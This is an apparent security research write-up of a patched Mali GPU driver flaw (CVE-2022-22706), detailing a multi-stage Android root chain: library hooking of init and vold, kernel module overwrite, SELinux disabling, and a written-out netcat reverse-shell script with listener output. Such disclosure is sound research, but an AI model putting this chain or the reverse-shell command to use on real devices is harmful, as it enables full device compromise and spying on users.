Imagine downloading a game from a third-party app store. You grant it seemingly innocuous permissions, but hidden within the app is a malicious exploit that allows attackers to steal your photos, eavesdrop on your conversations, or even take complete control of your device. This is the kind of threat posed by vulnerabilities like CVE-2022-22706 and CVE-2021-39793, which we’ll be dissecting in this post. These vulnerabilities affect Mali GPUs, commonly found in many Android devices, and allow unprivileged apps to gain root access.

Vulnerability Overview

Affected Products

Product Mali GPU Kernel Driver
Vendor ARM
Severity High - A non-privileged user can get a write access to read-only memory pages.
Affected Versions - Midgard GPU Kernel Driver: All versions from r26p0 - r31p0 - Bifrost GPU Kernel Driver: All versions from r0p0 - r35p0 - Valhall GPU Kernel Driver: All versions from r19p0 - r35p0
Tested Versions - Pixel 6, MP1.0, 2022 - Downgraded to Android 12.0.0 (SD1A.210817.015.A4, Oct 2021) - Linux localhost 5.10.43-android12-9-00002-g4fb696975cdd-ab7658202 #1 SMP PREEMPT Thu Aug 19 00:59:56 UTC 2021 aarch64
CWE CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

CVSS3.1 Score

Termux

This Termux output shows the context of the exploit, running from an unprivileged untrusted app context.

~ $ cat /proc/self/attr/current
u:r:untrusted_app_27:s0:c222,c256,c512,c768
~ $ id
uid=10222(u0_a222) gid=10222(u0_a222) groups=10222(u0_a222),3003(inet),9997(everybody),20222(u0_a222_cache),50222(all_a222)

Root Cause Analysis

We found a critical vulnerability in the kbase_jd_user_buf_pin_pages() function of the Mali GPU kernel driver. This function is crucial: it manages how the GPU accesses memory, preparing user-provided memory buffers and (supposedly) ensuring the app has the right permissions (read or write). Looking at the Patch Changelist, the issue becomes clear. The vulnerability is in how kbase_jd_user_buf_pin_pages() checks those permissions. It’s all about the KBASE_REG_GPU_WR (GPU Write) and KBASE_REG_CPU_WR (CPU Write) flags—they tell the driver what kind of access is needed. An app should need both flags set for GPU write access, but the code only checks for KBASE_REG_GPU_WR flag, leaving a gaping hole.

@@ -1,7 +1,7 @@
 // SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note
 /*
  *
- * (C) COPYRIGHT 2010-2021 ARM Limited. All rights reserved.
+ * (C) COPYRIGHT 2010-2022 ARM Limited. All rights reserved.
  *
  * This program is free software and is provided to you under the terms of the
  * GNU General Public License version 2 as published by the Free Software
@@ -1683,7 +1683,8 @@
 				/* The allocation could still have active mappings. */
 				if (user_buf->current_mapping_usage_count == 0) {
 					kbase_jd_user_buf_unmap(kctx, reg->gpu_alloc,
-						(reg->flags & KBASE_REG_GPU_WR));
+						(reg->flags & (KBASE_REG_CPU_WR |
+							       KBASE_REG_GPU_WR)));
 				}
 			}
 		}
@@ -4561,6 +4562,7 @@
 	struct mm_struct *mm = alloc->imported.user_buf.mm;
 	long pinned_pages;
 	long i;
+	int write;

 	if (WARN_ON(alloc->type != KBASE_MEM_TYPE_IMPORTED_USER_BUF))
 		return -EINVAL;
@@ -4575,41 +4577,37 @@
 	if (WARN_ON(reg->gpu_alloc->imported.user_buf.mm != current->mm))
 		return -EINVAL;

+	write = reg->flags & (KBASE_REG_CPU_WR | KBASE_REG_GPU_WR);
+
 #if KERNEL_VERSION(4, 6, 0) > LINUX_VERSION_CODE
-	pinned_pages = get_user_pages(NULL, mm,
-			address,
-			alloc->imported.user_buf.nr_pages,
+	pinned_pages = get_user_pages(
+		NULL, mm, address,
+		alloc->imported.user_buf.nr_pages,
 #if KERNEL_VERSION(4, 4, 168) <= LINUX_VERSION_CODE && \
 KERNEL_VERSION(4, 5, 0) > LINUX_VERSION_CODE
-			reg->flags & KBASE_REG_GPU_WR ? FOLL_WRITE : 0,
-			pages, NULL);
+		write ? FOLL_WRITE : 0, pages, NULL);
 #else
-			reg->flags & KBASE_REG_GPU_WR,
-			0, pages, NULL);
+		write, 0, pages, NULL);
 #endif
 #elif KERNEL_VERSION(4, 9, 0) > LINUX_VERSION_CODE
-	pinned_pages = get_user_pages_remote(NULL, mm,
-			address,
-			alloc->imported.user_buf.nr_pages,
-			reg->flags & KBASE_REG_GPU_WR,
-			0, pages, NULL);
+	pinned_pages = get_user_pages_remote(
+		NULL, mm,
+		address, alloc->imported.user_buf.nr_pages,
+		write, 0, pages, NULL);
 #elif KERNEL_VERSION(4, 10, 0) > LINUX_VERSION_CODE
-	pinned_pages = get_user_pages_remote(NULL, mm,
-			address,
-			alloc->imported.user_buf.nr_pages,
-			reg->flags & KBASE_REG_GPU_WR ? FOLL_WRITE : 0,
-			pages, NULL);
+	pinned_pages = get_user_pages_remote(
+		NULL, mm,
+		address, alloc->imported.user_buf.nr_pages,
+		write ? FOLL_WRITE : 0, pages, NULL);
 #elif KERNEL_VERSION(5, 9, 0) > LINUX_VERSION_CODE
-	pinned_pages = get_user_pages_remote(NULL, mm,
-			address,
-			alloc->imported.user_buf.nr_pages,
-			reg->flags & KBASE_REG_GPU_WR ? FOLL_WRITE : 0,
-			pages, NULL, NULL);
+	pinned_pages = get_user_pages_remote(
+		NULL, mm,
+		address, alloc->imported.user_buf.nr_pages,
+		write ? FOLL_WRITE : 0, pages, NULL, NULL);
 #else
 	pinned_pages = pin_user_pages_remote(
 		mm, address, alloc->imported.user_buf.nr_pages,
-		reg->flags & KBASE_REG_GPU_WR ? FOLL_WRITE : 0, pages, NULL,
-		NULL);
+		write ? FOLL_WRITE : 0, pages, NULL, NULL);
 #endif

 	if (pinned_pages <= 0)
@@ -4843,7 +4841,7 @@
 						kbase_reg_current_backed_size(reg),
 						kctx->as_nr);

-			if (reg && ((reg->flags & KBASE_REG_GPU_WR) == 0))
+			if (reg && ((reg->flags & (KBASE_REG_CPU_WR | KBASE_REG_GPU_WR)) == 0))
 				writeable = false;

 			kbase_jd_user_buf_unmap(kctx, alloc, writeable);

The patch shows the core of the problem. The FOLL_WRITE flag is set if KBASE_REG_GPU_WR is set, but not KBASE_REG_CPU_WR. This is incorrect. It should only be set if both flags are set. Because of this oversight, a malicious app can request CPU write access (by setting KBASE_REG_CPU_WR) without needing the required GPU write access (KBASE_REG_GPU_WR). This allows the app to bypass the intended security checks and gain write access to memory that it shouldn’t be allowed to modify. This ability to write to read-only memory is the fundamental primitive that the rest of the exploit relies on. It allows the attacker to inject malicious code into privileged processes and ultimately gain root access.

Triggering the bug

By exploiting this vulnerability, we can force the Mali driver to grant write permissions to a read-only memory region. The following steps outline the exploit:

  1. Allocate a Read-Write Memory Page: We start by allocating a memory page with read-write permissions.

  2. Import the Mapping with KBASE_REG_CPU_WR (Without KBASE_REG_GPU_WR): Due to a missing check in the driver, this inadvertently grants GPU write access.

  3. Map the Imported Buffer into the GPU VA Space: The buffer is assigned a virtual address in the GPU’s address space.

  4. Unmap the Original Read-Write Mapping: The original mapping is then removed.

  5. Remap the Same Address with a Read-Only Page: This results in a scenario where the CPU sees the page as read-only, while the GPU retains write access.

  6. Submit a GPU Job with GPU VA mapping as BASE_JD_REQ_EXTERNAL_RESOURCES: This triggers the vulnerable function kbase_jd_user_buf_pin_pages(), enabling writes to the read-only memory.

At this point, we can modify memory pages that should be read-only from the CPU’s perspective by leveraging the GPU VA mapping from userspace.

Exploitation Primitive

  • Capability: Ability to write to read-only memory pages of files.
  • Impact:
    • Modified memory pages of file are cached in memory for use by other processes
    • Modifications are not saved to disk

Prerequisites:

  • Ability to open and read the target file.
  • Permission to use ioctl, read, and write on gpu_device.

By injecting hooks and payloads into read-only shared libraries, we can manipulate execution flow in privileged processes, such as init. Since all domains can read files of type system_lib_file, this technique is widely applicable:

oriole:/data/local/tmp $ ./sesearch policy -A -t system_lib_file
Found 3 semantic av rules:
   allow domain system_lib_file : lnk_file { read getattr open } ;
   allow domain system_lib_file : file { read getattr map execute open } ;
   allow domain system_lib_file : dir { ioctl read getattr lock open watch watch_reads search } ;

However, not all domains can invoke ioctl, read, and write on gpu_device. Fortunately, low-privileged domains such as shell and untrusted_app are permitted to do so:

allow shell gpu_device:chr_file { append getattr ioctl lock map open read watch watch_reads write };
allow untrusted_app gpu_device:chr_file { append getattr ioctl lock map open read watch watch_reads write };
allow untrusted_app_25 gpu_device:chr_file { append getattr ioctl lock map open read watch watch_reads write };
allow untrusted_app_27 gpu_device:chr_file { append getattr ioctl lock map open read watch watch_reads write };
allow untrusted_app_29 gpu_device:chr_file { append getattr ioctl lock map open read watch watch_reads write };

This enables hijacking privileged processes from shell and untrusted_app via system_lib_file modifications.

Attack Strategy: Root Reverse Shell

  • Objective: Escalate privileges to obtain a root reverse shell from untrusted_app_27.
  • Challenge: Bypass SELinux enforcement.
  • Solution: Load an arbitrary kernel module.

First, we identify domains with module_load permission using the device’s SELinux policy located at /sys/fs/selinux/policy:

oriole:/data/local/tmp $ ./sesearch policy -A -p module_load | grep -v magisk
Found 168 semantic av rules:
   allow ueventd vendor_file : system module_load ;
   allow init-insmod-sh vendor_kernel_modules : system module_load ;
   allow vendor_modprobe vendor_file : system module_load ;

Among these, only init-insmod-sh has an automatic type transition where it is the destination:

type_transition init init-insmod-sh_exec : process init-insmod-sh;

Since init-insmod-sh can be executed by running a file of type init-insmod-sh_exec, we locate the relevant executable (/vendor/bin/init.insmod.sh) on this device.

Escalating to Root via init Hijacking

To achieve full system compromise, we target the init process. init operates with two threads in do_epoll_wait, making it a viable attack vector:

LABEL          USER PID   TID  PPID     VSZ    RSS WCHAN            ADDR S CMD
u:r:init:s0    root   1     1     0 10917568  5452 do_epoll_wait       0 S init
u:r:init:s0    root   1   372     0 10917568  5452 do_epoll_wait       0 S init

One of the threads is the main thread, while the other is the PropertyServiceThread, which is spawned from StartPropertyService in SecondStageMain. By targeting either of these threads, we can potentially exploit the init process to gain further control.

void StartPropertyService(int* epoll_socket) {
...
    if (auto result = CreateSocket(PROP_SERVICE_NAME, SOCK_STREAM | SOCK_CLOEXEC | SOCK_NONBLOCK,
                                   false, 0666, 0, 0, {});
        result.ok()) {
        property_set_fd = *result;
    } else {
...
    }
    listen(property_set_fd, 8);
    auto new_thread = std::thread{PropertyServiceThread};
    property_service_thread.swap(new_thread);
}

The PropertyServiceThread registers an epoll handler on the property_set_fd listening socket and then enters a loop where it repeatedly calls epoll_wait with an infinite timeout. This creates a long-lived, blocking operation that can be exploited to hijack the thread’s execution flow if an appropriate trigger or attack vector is identified.

static void PropertyServiceThread() {
...
    if (auto result = epoll.RegisterHandler(property_set_fd, handle_property_set_fd);
        !result.ok()) {
...
    }
...
    while (true) {
        auto pending_functions = epoll.Wait(std::nullopt);
...
    }
}
Result<std::vector<std::shared_ptr<Epoll::Handler>>> Epoll::Wait(
        std::optional<std::chrono::milliseconds> timeout) {
    int timeout_ms = -1;
...
    auto num_events = TEMP_FAILURE_RETRY(epoll_wait(epoll_fd_, ev, max_events, timeout_ms));
...
}

To wake this thread up, we can call /system/bin/setprop with any valid name and value argument. This will trigger the sending of a PROP_MSG_SETPROP2 command to the socket, causing epoll_wait to return and handle_property_set_fd to run. init can then be hijacked by using the Mali write to hook any one of the imported library functions called in handle_property_set_fd.

static void handle_property_set_fd() {
...
    int s = accept4(property_set_fd, nullptr, nullptr, SOCK_CLOEXEC);
...
    SocketConnection socket(s, cr);
...
    if (!socket.RecvUint32(&cmd, &timeout_ms)) {
...
    }
    switch (cmd) {
    case PROP_MSG_SETPROP: {
...
      }
    case PROP_MSG_SETPROP2: {
...
        if (!socket.RecvString(&name, &timeout_ms) ||
            !socket.RecvString(&value, &timeout_ms)) {
...
        }
...
        uint32_t result = HandlePropertySet(name, value, source_context, cr, &socket, &error);
        if (result != PROP_SUCCESS) {
            LOG(ERROR) << "Unable to set property '" << name << "' from uid:" << cr.uid
                       << " gid:" << cr.gid << " pid:" << cr.pid << ": " << error;
        }
...
      }
...
    }
}

If setprop lacks sufficient SELinux permissions, CheckMacPerms in CheckPermissions (invoked by HandlePropertySet) will fail, triggering LOG(ERROR), which in turn calls android::base::LogMessage::LogMessage in /system/lib64/libbase.so. Exploiting the Mali write primitive, we can hook into one of these imported functions to hijack execution and escalate privileges to root.

LogMessage internally calls std::ios_base::init in /system/lib64/libc++.so, which we can hook to hijack init.

However, for untrusted_app, calling /system/bin/setprop directly won’t work to trigger the hijack. Although the execution of setprop is permitted, since setprop actually points to /system/bin/toolbox (type toolbox_exec), there will be no domain transition and setprop will execute in the domain of untrusted_app. In that domain, it cannot trigger the communication to the socket because of the SELinux policy.

allow untrusted_app toolbox_exec:file { execute execute_no_trans getattr ioctl lock map open read watch watch_reads };
avc: denied { write } for comm="setprop" name="property_service" dev="tmpfs" ino=361 scontext=u:r:untrusted_app_27:s0:c222,c256,c512,c768 tcontext=u:object_r:property_socket:s0 tclass=sock_file permissive=0
# Do not allow untrusted apps to connect to the property service
# or set properties. b/10243159
neverallow { all_untrusted_apps -mediaprovider } property_socket:sock_file write;
neverallow { all_untrusted_apps -mediaprovider } init:unix_stream_socket connectto;
neverallow { all_untrusted_apps -mediaprovider } property_type:property_service set;

The SELinux policy prevents our untrusted application from directly interacting with the property service, which is necessary to trigger the init hijack via /system/bin/setprop. To circumvent this, we leverage the Mali write vulnerability to hijack a process in a domain with the appropriate permissions.

vold was identified as a suitable target. It operates within a domain that is granted write access to the property_socket and execute permission on toolbox_exec, the latter being used by setprop. Furthermore, vold runs as the root user and regularly calls imported functions, allowing us to inject our hooks. The specific function targeted was _ZNK7android7RefBase9decStrongEPKv within /system/lib64/libutils.so.

A key consideration was the frequency with which vold executes code. Its 30-second intervals introduced a potential delay of up to 30 seconds before our hook would be triggered. servicemanager, while running at a faster 5-second interval, presented a different challenge. It was observed to sometimes execute cached code, even after the corresponding library functions had been hooked, rendering this approach unreliable. Therefore, despite the potential delay, vold was chosen as the more consistent, albeit slower, method for triggering the init hijack.

Overwriting Vendor Kernel Modules

Having established a pathway to execute code within the init-insmod-sh context, our next objective is to inject our malicious kernel module. Crucially, init-insmod-sh is restricted to loading modules of the vendor_kernel_modules type, as enforced by the SELinux policy:

allow init-insmod-sh vendor_kernel_modules : system module_load ;

These modules reside in /vendor/lib/modules/*.ko, which are symbolic links to /vendor_dlkm/lib/modules/*.ko. The vendor_kernel_modules type also carries the vendor_file_type attribute:

# kernel modules
type vendor_kernel_modules, vendor_file_type, file_type;

This presents a challenge: our untrusted app, even with the Mali write primitive, likely lacks the permissions to directly modify these files. Therefore, we need to leverage another process with the necessary capabilities. Our strategy is to hijack a process within a domain that can both interact with the Mali driver (for writing) and access files of type vendor_file_type.

hal_neuralnetworks_armnn emerged as a suitable candidate. This domain fulfills our requirements and, importantly, can be reached via a type transition from init:

type_transition init hal_neuralnetworks_armnn_exec:process hal_neuralnetworks_armnn;

The associated executable, /vendor/bin/hw/[email protected] (of type hal_neuralnetworks_armnn_exec), is a one-shot CLI binary. This is advantageous because it simply executes and exits when no special arguments are provided, avoiding the creation of persistent, potentially conflicting background services.

To gain control within the hal_neuralnetworks_armnn context, we again employ the Mali write primitive. This time, we hook the __android_log_print function within /system/lib64/liblog.so. Hijacking this function allows us to inject arbitrary code into the hal_neuralnetworks_armnn process, enabling us to then write our malicious kernel module payload to the target /vendor_dlkm/lib/modules/*.ko location. This multi-stage approach allows us to bypass SELinux restrictions and achieve our goal of overwriting the kernel module.

Loading Kernel Module

The next step after overwriting vendor_kernel_modules files is to load them while in init-insmod-sh.

init transitions to init-insmod-sh by executing /vendor/bin/init.insmod.sh, and this shell script has built-in functionality to load modules in /vendor/lib/modules/ with /vendor/bin/modprobe when supplied with the correct config file argument.

#!/vendor/bin/sh

#############################################################
### init.insmod.cfg format:                               ###
### ----------------------------------------------------- ###
### [insmod|setprop|enable/moprobe|wait] [path|prop name] ###
### ...                                                   ###
#############################################################

modules_dir=

for f in /vendor/lib/modules/*/modules.dep /vendor/lib/modules/modules.dep; do
  if [[ -f "$f" ]]; then
    modules_dir="$(dirname "$f")"
    break
  fi
done

...

if [ $# -eq 1 ]; then
  cfg_file=$1
else
...
fi

if [ -f $cfg_file ]; then
  while IFS="|" read -r action arg
  do
    case $action in
...
      "modprobe")
        case ${arg} in
          "-b *" | "-b")
            arg="-b --all=${modules_dir}/modules.load" ;;
          "*" | "")
            arg="--all=${modules_dir}/modules.load" ;;
        esac
        modprobe -a -d "${modules_dir}" $arg ;;
...
    esac
  done < $cfg_file
fi

The selection of a kernel module to overwrite and load required careful consideration. We chose /vendor/lib/modules/pktgen.ko because it is a relatively unimportant module and, crucially, it was currently unloaded. This minimized the risk of disrupting system functionality during the exploit. To instruct /vendor/bin/init.insmod.sh to load this module, we needed to provide a configuration file containing the line modprobe|pktgen\n.

However, SELinux presented a hurdle. The init-insmod-sh script is restricted by policy to reading only files of specific types, including vendor_file_type. Our untrusted app, even with the Mali write capability, cannot directly create or modify files of this type in the necessary locations. Therefore, we leveraged the hal_neuralnetworks_armnn process (already hijacked in a previous step) to perform this operation.

We identified /vendor/etc/modem/logging.conf as a suitable target for overwriting. This file is small, appears to be non-essential, and, importantly, is of type vendor_configs_file, which possesses the required vendor_file_type attribute. The relevant SELinux rules are:

allow init-insmod-sh vendor_file_type:file { execute getattr map open read };
# Default type for everything under /vendor/etc/
type vendor_configs_file, vendor_file_type, file_type;

Using the Mali write primitive within the hal_neuralnetworks_armnn context, we overwrote /vendor/etc/modem/logging.conf with the modprobe|pktgen\n line. Subsequently, executing the unmodified /vendor/bin/init.insmod.sh from the init process, providing the modified /vendor/etc/modem/logging.conf file as an argument, resulted in the successful loading of our overwritten /vendor/lib/modules/pktgen.ko module.

Bypassing SELinux and Obtaining a Root Reverse Shell

With our malicious kernel module loaded, we can now disable SELinux enforcing mode, a crucial step for achieving full system compromise. This is accomplished within the loaded kernel module by setting the enforcing flag to false:

WRITE_ONCE(selinux_state->enforcing, false);

To ensure that SELinux constraints are completely lifted, we also flush the Access Vector Cache (AVC):

avc_ss_reset(selinux_state->avc, 0);

Having successfully disabled SELinux, we are now free to establish a root reverse shell. The target device conveniently includes netcat (actually toybox’s nc) which we can use for this purpose:

oriole:/ $ which nc
/system/bin/nc
oriole:/ $ ls -la /system/bin/nc
lrwxrwxrwx 1 root shell 6 2024-07-10 01:23 /system/bin/nc -> toybox
oriole:/ $ nc --help  # Output from toybox nc
Toybox 0.8.4-android multicall binary: https://landley.net/toybox (see toybox --help)

usage: netcat [-46ELUlt] [-u] [-wpq #] [-s addr] {IPADDR PORTNUM|-f FILENAME|COMMAND...}
...

We crafted a simple shell script to create a named pipe (/dev/_f) and use it in conjunction with nc to establish the reverse shell:

#!/bin/sh
rm /dev/_f;mkfifo /dev/_f;cat /dev/_f|sh -i 2>&1|nc localhost 4444 >/dev/_f

This script was dropped onto the device from our untrusted app, and then executed by the hijacked init process. On our attacking machine, we set up a listener using ncat (or nc):

C:\ncat-portable-5.59BETA1>adb reverse tcp:4444 tcp:4444 # Forward port 4444 to the device
4444
C:\ncat-portable-5.59BETA1>ncat.exe -nlvp 4444  # Start listening on port 4444
Ncat: Version 5.59BETA1 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 127.0.0.1:52021.
sh: can't find tty fd: No such device or address  # Common message, often ignorable
sh: warning: won't have full job control           # Also common
:/ # id                                         # Verify root access
uid=0(root) gid=0(root) groups=0(root),3009(readproc) context=u:r:toolbox:s0
:/ # getenforce                                 # Confirm SELinux is disabled
Permissive

The output clearly demonstrates that we have successfully obtained a root reverse shell, with SELinux in permissive mode.

Exploit Execution: A Step-by-Step Breakdown

The exploit unfolds in a carefully orchestrated sequence of steps, leveraging the Mali write vulnerability to hijack various processes and ultimately gain root access. The process can be broken down as follows:

  1. Payload Staging: The untrusted app begins by strategically placing payloads for later execution:

    • Stage 3: Written to /system/lib64/libldacBT_enc.so. This payload will be migrated to for more space during a later stage.
    • Stage 2: Written to /system/lib64/liblog.so, along with a hook to hijack [email protected].
    • Stage 1: Written to /system/lib64/libc++.so, including a hook to hijack the init process.
    • Stage 0: Written to /system/lib64/libutils.so, containing a hook to hijack vold. This stage is designed to trigger after a 30-second interval.
  2. Initial Trigger (vold Hijack): The stage 0 payload, waiting within libutils.so, is triggered when vold executes its regular functions. This payload then executes /system/bin/setprop to wake up the init process.

  3. Stage 1 Execution (hal_neuralnetworks_armnn Hijack):

    • The stage 1 payload within init executes /vendor/bin/hw/[email protected], transitioning execution to the hal_neuralnetworks_armnn context.
    • The stage 2 payload within hal_neuralnetworks_armnn is executed. It maps memory and migrates the stage 3 payload from /system/lib64/libldacBT_enc.so to this newly allocated space, providing more room for the subsequent operations.
    • The stage 3 payload then performs two crucial Mali write operations:
      • It overwrites /vendor_dlkm/lib/modules/pktgen.ko with the malicious kernel module code.
      • It writes the configuration file contents (modprobe|pktgen\n) to /vendor/etc/modem/logging.conf.
  4. Signal and Stage 4 Setup: The stage 0 payload signals back to the untrusted app, indicating that the preparations are complete. The untrusted app then writes the stage 4 payload, containing a hook to hijack init again, to /system/lib64/libc++.so. The reverse shell script is written to /data/data/com.termux/_rev.sh.

  5. Final Trigger and Privilege Escalation: The stage 0 payload executes /system/bin/setprop again, waking up init for the final stage.

  6. Stage 4 Execution (SELinux Bypass and Reverse Shell):

    • The stage 4 payload in init executes /vendor/bin/init.insmod.sh with /vendor/etc/modem/logging.conf as an argument.
    • /vendor/bin/init.insmod.sh then uses the modprobe command to load the overwritten /vendor_dlkm/lib/modules/pktgen.ko module. This module disables SELinux.
    • Finally, the stage 4 payload executes the reverse shell script located at /data/data/com.termux/_rev.sh, establishing a root reverse shell connection.

This multi-stage approach allows the exploit to bypass SELinux restrictions and achieve root privilege escalation from an untrusted application. Each stage plays a crucial role in setting up the next, culminating in the execution of the malicious kernel module and the establishment of the root reverse shell.

Closing Thoughts

The vulnerabilities CVE-2022-22706 and CVE-2021-39793 in the Mali GPU driver present a serious security concern, allowing unprivileged users to write to read-only memory pages, potentially enabling privilege escalation and system compromise. Through careful exploitation of these flaws, attackers can manipulate memory and execute arbitrary code within critical system processes, such as init. By combining techniques like SELinux bypass, targeted hijacking of vulnerable processes, and kernel module injection, attackers can escalate their privileges and gain full control over affected devices. This post has demonstrated how these vulnerabilities can be chained together to achieve full device compromise, from an untrusted app to a root reverse shell. The core vulnerability, the missing KBASE_REG_CPU_WR check, allows attackers to gain the critical write access. Users should ensure their devices are updated with the latest security patches to protect against such vulnerabilities

References